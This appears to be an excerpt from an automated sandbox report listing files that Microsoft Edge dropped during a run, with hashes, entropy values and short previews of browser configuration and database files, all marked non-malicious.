C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d56de107-b5d4-4eb7-b187-dc6af64bdfd8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561644012438731
Encrypted:	false
SSDEEP:	768:3/1C4dWGr7pLGLPwCW5wiwf4Ki8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP8XOOm1IY:39/dZ9cPwCWaiwfBiu1jaVXOOmrCiN39
MD5:	D08BB665E8F08147D45A2508F09E7BD2
SHA1:	F06CF0F439A31257E1C1896926FCC32D1CA459FA
SHA-256:	8F420FBA1419A37BA811640CC5EBF1F59ED81761CD1B339ABF9646909E3BACEE
SHA-512:	370C1EFAFF8BFD2A96199B349DE9D3AEFF13EDFF55A7ACF19302B3F65832E82733F32888B915B26F1B244864042FCDC9021D7B2AE6F9F25EAFB43E12A405AC01
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376599053629039","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376599053629039","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.1016346972044034
Encrypted:	false
SSDEEP:	12:+Czil3CzXDspEjVl/PnnnnnnnnnnnvoQ/Eou:+CzG3CzX8oPnnnnnnnnnnnv1j
MD5:	4695741D353FBEC58CE750062203FBDC
SHA1:	047BDC54E452333614AD9BD157127B7DCD726FCA
SHA-256:	2C18C6B9E6BF3F55B5AEE3A13D7854E2DD655467BD9EC35668F9BE010B055563
SHA-512:	AA92A978029C0D65C70803A4921EC34B33499ABC0B7E90EECADF5F15CAA076E8B91AD21D65989BF05DEEE8BFE0A011B7144725C95B9F6A538C302A115EDE847E
Malicious:	false
Preview:	..-.............M........j..bH..$J...V..'p#F...3..-.............M........j..bH..$J...V..'p#F...3........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8894737613553606
Encrypted:	false
SSDEEP:	384:QYmoRCCNV9qq50xRSSrgS1FIv8myaywxycyjRbyexyg3:sP
MD5:	E52BF4415F2DACA36F0F982EFEA55469
SHA1:	524C8A85CF3744110DA2D713C9585F4097ED859A
SHA-256:	29E706E5DE18772474B5502207FAC1E35EE28C34147BA10FB76C767317204F83
SHA-512:	8AACA962E76CC2428EBEA553C8E2113F3ED250315F3581B03515F409D344E2DF5B839CAAEBD0667317440DE537F1CEF2664BF98195242824CA877C63269B61BD
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.588125687390733
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuWllEBPDO8a:pHayflEde
MD5:	A8B955AD08ABB693F515E211915C4F16
SHA1:	B21D8E5EE38730C2E7BAF9DB24DE2D227D291B87
SHA-256:	D30D4A60147747957D2B9AEFE98FFF4246F4D3D311D5816B597132E6DD275066
SHA-512:	E8F506E3F24AB4F791F120414D5BA0974C246A14F7F64884309134B8D64379217566EDAE305D2DBC58EDE1199846DB428F05BEB1932B74A83CD14434757F48D0
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...................;...............#38_h.......6.Z..W.F.....N.......N............V.e................V.e................V.e................*..`0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.207312569755189
Encrypted:	false
SSDEEP:	6:HHw5Oq2PN723oH+TcwtfrK+IFUt8YHw5XZmw+YHwLAFkwON723oH+TcwtfrUeLJ:nw0vVaYeb23FUt8kwV/+kwLs5OaYeb3J
MD5:	88388578EC071BC5C3147880A5AD05AD
SHA1:	EADCC758DA824D55A9511927227AEDEE44345D50
SHA-256:	97EBCC7E0709BF67E657497DA48F42C0BBC824E4E83542CA394DE8559D71EB01
SHA-512:	B699CB66CCF79CD2821FF5C2818E25BAFDE5EF248C78FEA4142963DEEA69E3AC0FEFFA88F20BB3D42FD6C9304565748A0DB3536E27276FF7B4B85412FF182889
Malicious:	false
Preview:	2024/11/20-12:57:35.158 320 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/20-12:57:35.158 320 Recovering log #3.2024/11/20-12:57:35.159 320 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.207312569755189
Encrypted:	false
SSDEEP:	6:HHw5Oq2PN723oH+TcwtfrK+IFUt8YHw5XZmw+YHwLAFkwON723oH+TcwtfrUeLJ:nw0vVaYeb23FUt8kwV/+kwLs5OaYeb3J
MD5:	88388578EC071BC5C3147880A5AD05AD
SHA1:	EADCC758DA824D55A9511927227AEDEE44345D50
SHA-256:	97EBCC7E0709BF67E657497DA48F42C0BBC824E4E83542CA394DE8559D71EB01
SHA-512:	B699CB66CCF79CD2821FF5C2818E25BAFDE5EF248C78FEA4142963DEEA69E3AC0FEFFA88F20BB3D42FD6C9304565748A0DB3536E27276FF7B4B85412FF182889
Malicious:	false
Preview:	2024/11/20-12:57:35.158 320 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/20-12:57:35.158 320 Recovering log #3.2024/11/20-12:57:35.159 320 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	343
Entropy (8bit):	5.194862974627028
Encrypted:	false
SSDEEP:	6:HHwcq2PN723oH+TcwtfrzAdIFUt8YHw1yZmw+YHwhkwON723oH+TcwtfrzILJ:nwcvVaYeb9FUt8kw1y/+kwh5OaYeb2J
MD5:	E2CB90C55FA72DD3BADF20EC72A0A5E6
SHA1:	441793C1EDD748827D4BB1238787883956CB09D9
SHA-256:	52A1DB15A662A06A39A8330B055E36475A526A3BDDA3F28B0699984703CE34AA
SHA-512:	E88DCA47D45A9EEE27CB3CF8032B3A5D64B7FD305039662620E26C6697B0BE02A4675E3013E22361E952676FC7EFFC0392CA042709C81E5A656BA3B9B79ABC0E
Malicious:	false
Preview:	2024/11/20-12:57:35.143 320 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/20-12:57:35.146 320 Recovering log #3.2024/11/20-12:57:35.149 320 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	343
Entropy (8bit):	5.194862974627028
Encrypted:	false
SSDEEP:	6:HHwcq2PN723oH+TcwtfrzAdIFUt8YHw1yZmw+YHwhkwON723oH+TcwtfrzILJ:nwcvVaYeb9FUt8kw1y/+kwh5OaYeb2J
MD5:	E2CB90C55FA72DD3BADF20EC72A0A5E6
SHA1:	441793C1EDD748827D4BB1238787883956CB09D9
SHA-256:	52A1DB15A662A06A39A8330B055E36475A526A3BDDA3F28B0699984703CE34AA
SHA-512:	E88DCA47D45A9EEE27CB3CF8032B3A5D64B7FD305039662620E26C6697B0BE02A4675E3013E22361E952676FC7EFFC0392CA042709C81E5A656BA3B9B79ABC0E
Malicious:	false
Preview:	2024/11/20-12:57:35.143 320 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/20-12:57:35.146 320 Recovering log #3.2024/11/20-12:57:35.149 320 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089798787009414
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWLdi1zNtPMWkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynZBkzItSmd6qE7lFoC
MD5:	F1C946CDECAB1E6C4ED3550CF4D530E1
SHA1:	70A64199A3F4EB10FB5B30A6C94CDE0CFD982B96
SHA-256:	E40D0A61A0464FDB76484DC05BF5BCF987D7040119E5226C24D757075D7406F1
SHA-512:	38D8D5D2B623123860FA4813EF5F8F4A9167C1DC59137E09FEF08D20D53D927C886C8D8C2F28DA273B909418E81F4D6193F09429A31E2A3684C8E02312345760
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a73d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089798787009414
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWLdi1zNtPMWkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynZBkzItSmd6qE7lFoC
MD5:	F1C946CDECAB1E6C4ED3550CF4D530E1
SHA1:	70A64199A3F4EB10FB5B30A6C94CDE0CFD982B96
SHA-256:	E40D0A61A0464FDB76484DC05BF5BCF987D7040119E5226C24D757075D7406F1
SHA-512:	38D8D5D2B623123860FA4813EF5F8F4A9167C1DC59137E09FEF08D20D53D927C886C8D8C2F28DA273B909418E81F4D6193F09429A31E2A3684C8E02312345760
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a74d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089798787009414
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWLdi1zNtPMWkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynZBkzItSmd6qE7lFoC
MD5:	F1C946CDECAB1E6C4ED3550CF4D530E1
SHA1:	70A64199A3F4EB10FB5B30A6C94CDE0CFD982B96
SHA-256:	E40D0A61A0464FDB76484DC05BF5BCF987D7040119E5226C24D757075D7406F1
SHA-512:	38D8D5D2B623123860FA4813EF5F8F4A9167C1DC59137E09FEF08D20D53D927C886C8D8C2F28DA273B909418E81F4D6193F09429A31E2A3684C8E02312345760
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a912.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089798787009414
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWLdi1zNtPMWkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynZBkzItSmd6qE7lFoC
MD5:	F1C946CDECAB1E6C4ED3550CF4D530E1
SHA1:	70A64199A3F4EB10FB5B30A6C94CDE0CFD982B96
SHA-256:	E40D0A61A0464FDB76484DC05BF5BCF987D7040119E5226C24D757075D7406F1
SHA-512:	38D8D5D2B623123860FA4813EF5F8F4A9167C1DC59137E09FEF08D20D53D927C886C8D8C2F28DA273B909418E81F4D6193F09429A31E2A3684C8E02312345760
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3cf76.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089798787009414
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWLdi1zNtPMWkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynZBkzItSmd6qE7lFoC
MD5:	F1C946CDECAB1E6C4ED3550CF4D530E1
SHA1:	70A64199A3F4EB10FB5B30A6C94CDE0CFD982B96
SHA-256:	E40D0A61A0464FDB76484DC05BF5BCF987D7040119E5226C24D757075D7406F1
SHA-512:	38D8D5D2B623123860FA4813EF5F8F4A9167C1DC59137E09FEF08D20D53D927C886C8D8C2F28DA273B909418E81F4D6193F09429A31E2A3684C8E02312345760
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4150b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089798787009414
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWLdi1zNtPMWkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynZBkzItSmd6qE7lFoC
MD5:	F1C946CDECAB1E6C4ED3550CF4D530E1
SHA1:	70A64199A3F4EB10FB5B30A6C94CDE0CFD982B96
SHA-256:	E40D0A61A0464FDB76484DC05BF5BCF987D7040119E5226C24D757075D7406F1
SHA-512:	38D8D5D2B623123860FA4813EF5F8F4A9167C1DC59137E09FEF08D20D53D927C886C8D8C2F28DA273B909418E81F4D6193F09429A31E2A3684C8E02312345760
Malicious:	false
